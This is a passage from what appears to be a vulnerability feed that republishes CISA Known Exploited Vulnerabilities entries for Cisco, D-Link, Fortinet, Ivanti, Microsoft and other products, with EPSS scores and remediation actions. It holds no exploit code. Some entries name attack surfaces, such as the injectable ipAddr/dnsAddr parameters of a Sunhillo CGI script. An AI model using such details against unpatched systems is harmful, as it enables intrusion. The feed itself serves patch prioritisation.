Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 24, 2024; federal due date May 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco ASA and FTD Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-20359
Cisco ASA and FTD Privilege Escalation Vulnerability (Apr 24, 2024).
Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a privilege escalation vulnerability that can allow local privilege escalation from Administrator to root.
EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20359&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-20359: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20359&date=2026-10-25
CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 24, 2024; federal due date May 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco ASA and FTD Denial of Service Vulnerability
https://kevwire.com/record/CVE-2024-20353
Cisco ASA and FTD Denial of Service Vulnerability (Apr 24, 2024).
Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an infinite loop vulnerability that can lead to remote denial of service condition.
EPSS 69.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20353&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-20353: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20353&date=2026-10-25
CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 24, 2024; federal due date May 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Print Spooler Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-38028
Microsoft Windows Print Spooler Privilege Escalation Vulnerability (Apr 23, 2024).
Microsoft Windows Print Spooler service contains a privilege escalation vulnerability. An attacker may modify a JavaScript constraints file and execute it with SYSTEM-level permissions.
EPSS 14.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-38028&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-38028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-38028&date=2026-10-25
CISA added this entry on 2024-04-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 23, 2024; federal due date May 14, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link Multiple NAS Devices Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-3273
D-Link Multiple NAS Devices Command Injection Vulnerability (Apr 11, 2024).
D-Link DNS-320L, DNS-325, DNS-327L, and DNS-340L contain a command injection vulnerability. When combined with CVE-2024-3272, this can lead to remote, unauthorized code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-3273&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-3273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-3273&date=2026-10-25
CISA added this entry on 2024-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2024; federal due date May 2, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link Multiple NAS Devices Use of Hard-Coded Credentials Vulnerability
https://kevwire.com/record/CVE-2024-3272
D-Link Multiple NAS Devices Use of Hard-Coded Credentials Vulnerability (Apr 11, 2024).
D-Link DNS-320L, DNS-325, DNS-327L, and DNS-340L contains a hard-coded credential that allows an attacker to conduct authenticated command injection, leading to remote, unauthorized code execution.
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-3272&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-3272: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-3272&date=2026-10-25
CISA added this entry on 2024-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2024; federal due date May 2, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Pixel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-29748
Android Pixel Privilege Escalation Vulnerability (Apr 4, 2024).
Android Pixel contains a privilege escalation vulnerability that allows an attacker to interrupt a factory reset triggered by a device admin app.
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29748&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-29748: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29748&date=2026-10-25
CISA added this entry on 2024-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 4, 2024; federal due date Apr 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Pixel Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2024-29745
Android Pixel Information Disclosure Vulnerability (Apr 4, 2024).
Android Pixel contains an information disclosure vulnerability in the fastboot firmware used to support unlocking, flashing, and locking affected devices.
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29745&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-29745: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29745&date=2026-10-25
CISA added this entry on 2024-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 4, 2024; federal due date Apr 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Server Code Injection Vulnerability
https://kevwire.com/record/CVE-2023-24955
Microsoft SharePoint Server Code Injection Vulnerability (Mar 26, 2024).
Microsoft SharePoint Server contains a code injection vulnerability that allows an authenticated attacker with Site Owner privileges to execute code remotely.
EPSS 85.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-24955&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-24955: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-24955&date=2026-10-25
CISA added this entry on 2024-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 26, 2024; federal due date Apr 16, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Nice Linear eMerge E3-Series OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2019-7256
Nice Linear eMerge E3-Series OS Command Injection Vulnerability (Mar 25, 2024).
Nice Linear eMerge E3-Series contains an OS command injection vulnerability that allows an attacker to conduct remote code execution.
EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7256&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7256: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7256&date=2026-10-25
CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Contact the vendor for guidance on remediating firmware, per their advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2024; federal due date Apr 15, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) Code Injection Vulnerability
https://kevwire.com/record/CVE-2021-44529
Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) Code Injection Vulnerability (Mar 25, 2024).
Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) contains a code injection vulnerability that allows an unauthenticated user to execute malicious code with limited permissions (nobody).
EPSS 99.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44529&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-44529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44529&date=2026-10-25
CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2024; federal due date Apr 15, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiClient EMS SQL Injection Vulnerability
https://kevwire.com/record/CVE-2023-48788
Fortinet FortiClient EMS SQL Injection Vulnerability (Mar 25, 2024).
Fortinet FortiClient EMS contains a SQL injection vulnerability that allows an unauthenticated attacker to execute commands as SYSTEM via specifically crafted requests.
EPSS 98.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-48788&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-48788: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-48788&date=2026-10-25
CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2024; federal due date Apr 15, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JetBrains TeamCity Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2024-27198
JetBrains TeamCity Authentication Bypass Vulnerability (Mar 7, 2024).
JetBrains TeamCity contains an authentication bypass vulnerability that allows an attacker to perform admin actions.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-27198&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-27198: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-27198&date=2026-10-25
CISA added this entry on 2024-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2024; federal due date Mar 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2024-23225
Apple Multiple Products Memory Corruption Vulnerability (Mar 6, 2024).
Apple iOS, iPadOS, macOS, tvOS, watchOS, and visionOS kernel contain a memory corruption vulnerability that allows an attacker with arbitrary kernel read and write capability to bypass kernel memory protections.
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23225&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-23225: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23225&date=2026-10-25
CISA added this entry on 2024-03-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 6, 2024; federal due date Mar 27, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2024-23296
Apple Multiple Products Memory Corruption Vulnerability (Mar 6, 2024).
Apple iOS, iPadOS, macOS, tvOS, and watchOS RTKit contain a memory corruption vulnerability that allows an attacker with arbitrary kernel read and write capability to bypass kernel memory protections.
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23296&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-23296: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23296&date=2026-10-25
CISA added this entry on 2024-03-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 6, 2024; federal due date Mar 27, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Pixel Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2023-21237
Android Pixel Information Disclosure Vulnerability (Mar 5, 2024).
Android Pixel contains a vulnerability in the Framework component, where the UI may be misleading or insufficient, providing a means to hide a foreground service notification. This could enable a local attacker to disclose sensitive information.
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21237&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-21237: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21237&date=2026-10-25
CISA added this entry on 2024-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 5, 2024; federal due date Mar 26, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sunhillo SureLine OS Command Injection Vulnerablity
https://kevwire.com/record/CVE-2021-36380
Sunhillo SureLine OS Command Injection Vulnerablity (Mar 5, 2024).
Sunhillo SureLine contains an OS command injection vulnerability that allows an attacker to cause a denial-of-service or utilize the device for persistence on the network via shell metacharacters in ipAddr or dnsAddr in /cgi/networkDiag.cgi.
EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36380&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-36380: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36380&date=2026-10-25
CISA added this entry on 2024-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 5, 2024; federal due date Mar 26, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability
https://kevwire.com/record/CVE-2024-21338
Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability (Mar 4, 2024).
Microsoft Windows Kernel contains an exposed IOCTL with insufficient access control vulnerability within the IOCTL (input and output control) dispatcher in appid.sys that allows a local attacker to achieve privilege escalation.
EPSS 59.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21338&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21338: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21338&date=2026-10-25
CISA added this entry on 2024-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 4, 2024; federal due date Mar 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Streaming Service Untrusted Pointer Dereference Vulnerability
https://kevwire.com/record/CVE-2023-29360
Microsoft Streaming Service Untrusted Pointer Dereference Vulnerability (Feb 29, 2024).
Microsoft Streaming Service contains an untrusted pointer dereference vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges.
EPSS 21.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29360&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-29360: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29360&date=2026-10-25
CISA added this entry on 2024-02-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 29, 2024; federal due date Mar 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ConnectWise ScreenConnect Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2024-1709
ConnectWise ScreenConnect Authentication Bypass Vulnerability (Feb 22, 2024).
ConnectWise ScreenConnect contains an authentication bypass vulnerability that allows an attacker with network access to the management interface to create a new, administrator-level account on affected devices.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-1709&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-1709: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-1709&date=2026-10-25
CISA added this entry on 2024-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 22, 2024; federal due date Feb 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco ASA and FTD Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2020-3259
Cisco ASA and FTD Information Disclosure Vulnerability (Feb 15, 2024).
Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an information disclosure vulnerability. An attacker could retrieve memory contents on an affected device, which could lead to the disclosure of confidential information due to a buffer tracking issue when the software parses invalid URLs that are requested from the web services interface. This vulnerability affects only specific AnyConnect and WebVPN configurations.
EPSS 71.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3259&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3259: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3259&date=2026-10-25
CISA added this entry on 2024-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2024; federal due date Mar 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-21410
Microsoft Exchange Server Privilege Escalation Vulnerability (Feb 15, 2024).
Microsoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation.
EPSS 12.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21410&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21410: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21410&date=2026-10-25
CISA added this entry on 2024-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2024; federal due date Mar 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Internet Shortcut Files Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2024-21412
Microsoft Windows Internet Shortcut Files Security Feature Bypass Vulnerability (Feb 13, 2024).
Microsoft Windows Internet Shortcut Files contains an unspecified vulnerability that allows for a security feature bypass.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21412&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21412: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21412&date=2026-10-25
CISA added this entry on 2024-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 13, 2024; federal due date Mar 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SmartScreen Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2024-21351
Microsoft Windows SmartScreen Security Feature Bypass Vulnerability (Feb 13, 2024).
Microsoft Windows SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the SmartScreen user experience and inject code to potentially gain code execution, which could lead to some data exposure, lack of system availability, or both.
EPSS 27.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21351&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21351: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21351&date=2026-10-25
CISA added this entry on 2024-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 13, 2024; federal due date Mar 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2023-43770
Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability (Feb 12, 2024).
Roundcube Webmail contains a persistent cross-site scripting (XSS) vulnerability that can lead to information disclosure via malicious link references in plain/text messages.
EPSS 63.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-43770&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-43770: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-43770&date=2026-10-25
CISA added this entry on 2024-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 12, 2024; federal due date Mar 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS Out-of-Bound Write Vulnerability
https://kevwire.com/record/CVE-2024-21762
Fortinet FortiOS Out-of-Bound Write Vulnerability (Feb 9, 2024).
Fortinet FortiOS contains an out-of-bound write vulnerability that allows a remote unauthenticated attacker to execute code or commands via specially crafted HTTP requests.
EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21762&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21762: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21762&date=2026-10-25
CISA added this entry on 2024-02-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
